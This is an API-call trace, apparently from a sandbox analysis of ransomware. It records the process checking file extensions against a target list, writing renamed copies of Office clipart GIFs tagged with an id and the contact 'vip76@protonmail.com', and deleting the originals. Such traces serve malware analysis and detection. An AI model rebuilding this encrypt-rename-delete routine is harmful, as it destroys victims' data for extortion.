	[0070.874] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00160_.gif")) returned 1
	[0070.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.874] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.874] lstrlenW (lpString=".doc") returned 4
	[0070.874] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.874] lstrlenW (lpString=".docx") returned 5
	[0070.874] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.874] lstrlenW (lpString=".pdf") returned 4
	[0070.874] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.874] lstrlenW (lpString=".xls") returned 4
	[0070.874] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.875] lstrlenW (lpString=".xlsx") returned 5
	[0070.875] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.875] lstrlenW (lpString=".ppt") returned 4
	[0070.875] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.875] lstrlenW (lpString=".zip") returned 4
	[0070.875] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.875] lstrlenW (lpString=".rar") returned 4
	[0070.875] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.875] lstrlenW (lpString=".bz2") returned 4
	[0070.875] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.875] lstrlenW (lpString=".7z") returned 3
	[0070.875] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.875] lstrlenW (lpString=".dbf") returned 4
	[0070.875] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.875] lstrlenW (lpString=".1cd") returned 4
	[0070.875] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.875] lstrlenW (lpString=".jpg") returned 4
	[0070.875] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.875] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.875] lstrlenW (lpString=".doc") returned 4
	[0070.875] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.875] lstrlenW (lpString=".docx") returned 5
	[0070.875] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.875] lstrlenW (lpString=".pdf") returned 4
	[0070.875] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.875] lstrlenW (lpString=".xls") returned 4
	[0070.875] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.876] lstrlenW (lpString=".xlsx") returned 5
	[0070.876] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.876] lstrlenW (lpString=".ppt") returned 4
	[0070.876] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.876] lstrlenW (lpString=".zip") returned 4
	[0070.876] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.876] lstrlenW (lpString=".rar") returned 4
	[0070.876] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.876] lstrlenW (lpString=".bz2") returned 4
	[0070.876] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.876] lstrlenW (lpString=".7z") returned 3
	[0070.876] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.876] lstrlenW (lpString=".dbf") returned 4
	[0070.876] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.876] lstrlenW (lpString=".1cd") returned 4
	[0070.876] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.876] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00160_.GIF") returned 68
	[0070.876] lstrlenW (lpString=".jpg") returned 4
	[0070.876] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.876] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.876] lstrlenW (lpString="AG00170_.GIF") returned 12
	[0070.876] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.877] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=9248) returned 1
	[0070.877] CloseHandle (hObject=0x338) returned 1
	[0070.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 0x220
	[0070.877] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.877] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.877] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.877] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.877] GetLastError () returned 0x0
	[0070.878] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x2420, lpOverlapped=0x0) returned 1
	[0070.879] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x2430, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x2430, lpOverlapped=0x0) returned 1
	[0070.880] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.880] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.880] SetEndOfFile (hFile=0x320) returned 1
	[0070.881] CloseHandle (hObject=0x320) returned 1
	[0070.881] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.881] SetEndOfFile (hFile=0x338) returned 1
	[0070.882] CloseHandle (hObject=0x338) returned 1
	[0070.882] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.883] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00170_.gif")) returned 1
	[0070.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.883] lstrlenW (lpString=".doc") returned 4
	[0070.883] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.883] lstrlenW (lpString=".docx") returned 5
	[0070.883] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.883] lstrlenW (lpString=".pdf") returned 4
	[0070.883] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.883] lstrlenW (lpString=".xls") returned 4
	[0070.883] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.883] lstrlenW (lpString=".xlsx") returned 5
	[0070.883] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.883] lstrlenW (lpString=".ppt") returned 4
	[0070.883] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.883] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.883] lstrlenW (lpString=".zip") returned 4
	[0070.883] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.883] lstrlenW (lpString=".rar") returned 4
	[0070.883] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.883] lstrlenW (lpString=".bz2") returned 4
	[0070.883] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.883] lstrlenW (lpString=".7z") returned 3
	[0070.883] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.884] lstrlenW (lpString=".dbf") returned 4
	[0070.884] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.884] lstrlenW (lpString=".1cd") returned 4
	[0070.884] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.884] lstrlenW (lpString=".jpg") returned 4
	[0070.884] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.884] lstrlenW (lpString=".doc") returned 4
	[0070.884] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.884] lstrlenW (lpString=".docx") returned 5
	[0070.884] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.884] lstrlenW (lpString=".pdf") returned 4
	[0070.884] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.884] lstrlenW (lpString=".xls") returned 4
	[0070.884] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.884] lstrlenW (lpString=".xlsx") returned 5
	[0070.884] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.884] lstrlenW (lpString=".ppt") returned 4
	[0070.884] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.884] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.884] lstrlenW (lpString=".zip") returned 4
	[0070.884] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.884] lstrlenW (lpString=".rar") returned 4
	[0070.884] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.884] lstrlenW (lpString=".bz2") returned 4
	[0070.884] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.884] lstrlenW (lpString=".7z") returned 3
	[0070.884] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.885] lstrlenW (lpString=".dbf") returned 4
	[0070.885] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.885] lstrlenW (lpString=".1cd") returned 4
	[0070.885] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.885] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00170_.GIF") returned 68
	[0070.885] lstrlenW (lpString=".jpg") returned 4
	[0070.885] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.885] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.885] lstrlenW (lpString="AG00171_.GIF") returned 12
	[0070.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.885] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=5016) returned 1
	[0070.885] CloseHandle (hObject=0x338) returned 1
	[0070.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 0x220
	[0070.885] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.885] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.886] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.886] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.886] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.886] GetLastError () returned 0x0
	[0070.886] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1398, lpOverlapped=0x0) returned 1
	[0070.889] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x13a0, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x13a0, lpOverlapped=0x0) returned 1
	[0070.890] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.890] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.891] SetEndOfFile (hFile=0x320) returned 1
	[0070.891] CloseHandle (hObject=0x320) returned 1
	[0070.891] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.891] SetEndOfFile (hFile=0x338) returned 1
	[0070.892] CloseHandle (hObject=0x338) returned 1
	[0070.892] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.893] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00171_.gif")) returned 1
	[0070.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.893] lstrlenW (lpString=".doc") returned 4
	[0070.893] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.893] lstrlenW (lpString=".docx") returned 5
	[0070.893] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.893] lstrlenW (lpString=".pdf") returned 4
	[0070.893] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.893] lstrlenW (lpString=".xls") returned 4
	[0070.893] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.893] lstrlenW (lpString=".xlsx") returned 5
	[0070.893] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.893] lstrlenW (lpString=".ppt") returned 4
	[0070.893] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.893] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.893] lstrlenW (lpString=".zip") returned 4
	[0070.893] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.893] lstrlenW (lpString=".rar") returned 4
	[0070.893] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.893] lstrlenW (lpString=".bz2") returned 4
	[0070.893] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.893] lstrlenW (lpString=".7z") returned 3
	[0070.893] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.894] lstrlenW (lpString=".dbf") returned 4
	[0070.894] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.894] lstrlenW (lpString=".1cd") returned 4
	[0070.894] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.894] lstrlenW (lpString=".jpg") returned 4
	[0070.894] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.894] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.895] lstrlenW (lpString=".doc") returned 4
	[0070.895] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1
	[0070.895] lstrlenW (lpString=".docx") returned 5
	[0070.895] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1
	[0070.895] lstrlenW (lpString=".pdf") returned 4
	[0070.895] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1
	[0070.895] lstrlenW (lpString=".xls") returned 4
	[0070.895] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1
	[0070.895] lstrlenW (lpString=".xlsx") returned 5
	[0070.895] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1
	[0070.895] lstrlenW (lpString=".ppt") returned 4
	[0070.895] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1
	[0070.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.895] lstrlenW (lpString=".zip") returned 4
	[0070.895] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1
	[0070.895] lstrlenW (lpString=".rar") returned 4
	[0070.895] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1
	[0070.895] lstrlenW (lpString=".bz2") returned 4
	[0070.895] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1
	[0070.895] lstrlenW (lpString=".7z") returned 3
	[0070.895] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1
	[0070.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.895] lstrlenW (lpString=".dbf") returned 4
	[0070.895] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1
	[0070.895] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.896] lstrlenW (lpString=".1cd") returned 4
	[0070.896] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1
	[0070.896] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00171_.GIF") returned 68
	[0070.896] lstrlenW (lpString=".jpg") returned 4
	[0070.896] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1
	[0070.896] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1
	[0070.896] lstrlenW (lpString="AG00172_.GIF") returned 12
	[0070.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.896] GetFileSizeEx (in: hFile=0x338, lpFileSize=0x361ff14 | out: lpFileSize=0x361ff14*=4390) returned 1
	[0070.896] CloseHandle (hObject=0x338) returned 1
	[0070.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 0x220
	[0070.896] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0070.896] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0070.897] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.897] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.897] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320
	[0070.897] GetLastError () returned 0x0
	[0070.897] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x1126, lpOverlapped=0x0) returned 1
	[0070.935] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0x1130, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0x1130, lpOverlapped=0x0) returned 1
	[0070.936] ReadFile (in: hFile=0x338, lpBuffer=0x4016020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x361fecc, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesRead=0x361fecc*=0x0, lpOverlapped=0x0) returned 1
	[0070.936] WriteFile (in: hFile=0x320, lpBuffer=0x4016020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x361fc94, lpOverlapped=0x0 | out: lpBuffer=0x4016020*, lpNumberOfBytesWritten=0x361fc94*=0xec, lpOverlapped=0x0) returned 1
	[0070.937] SetEndOfFile (hFile=0x320) returned 1
	[0070.937] CloseHandle (hObject=0x320) returned 1
	[0070.937] SetFilePointerEx (in: hFile=0x338, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x361fec0 | out: lpNewFilePointer=0x0) returned 1
	[0070.938] SetEndOfFile (hFile=0x338) returned 1
	[0070.938] CloseHandle (hObject=0x338) returned 1
	[0070.938] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0070.939] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\AG00172_.GIF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ag00172_.gif")) returned 1
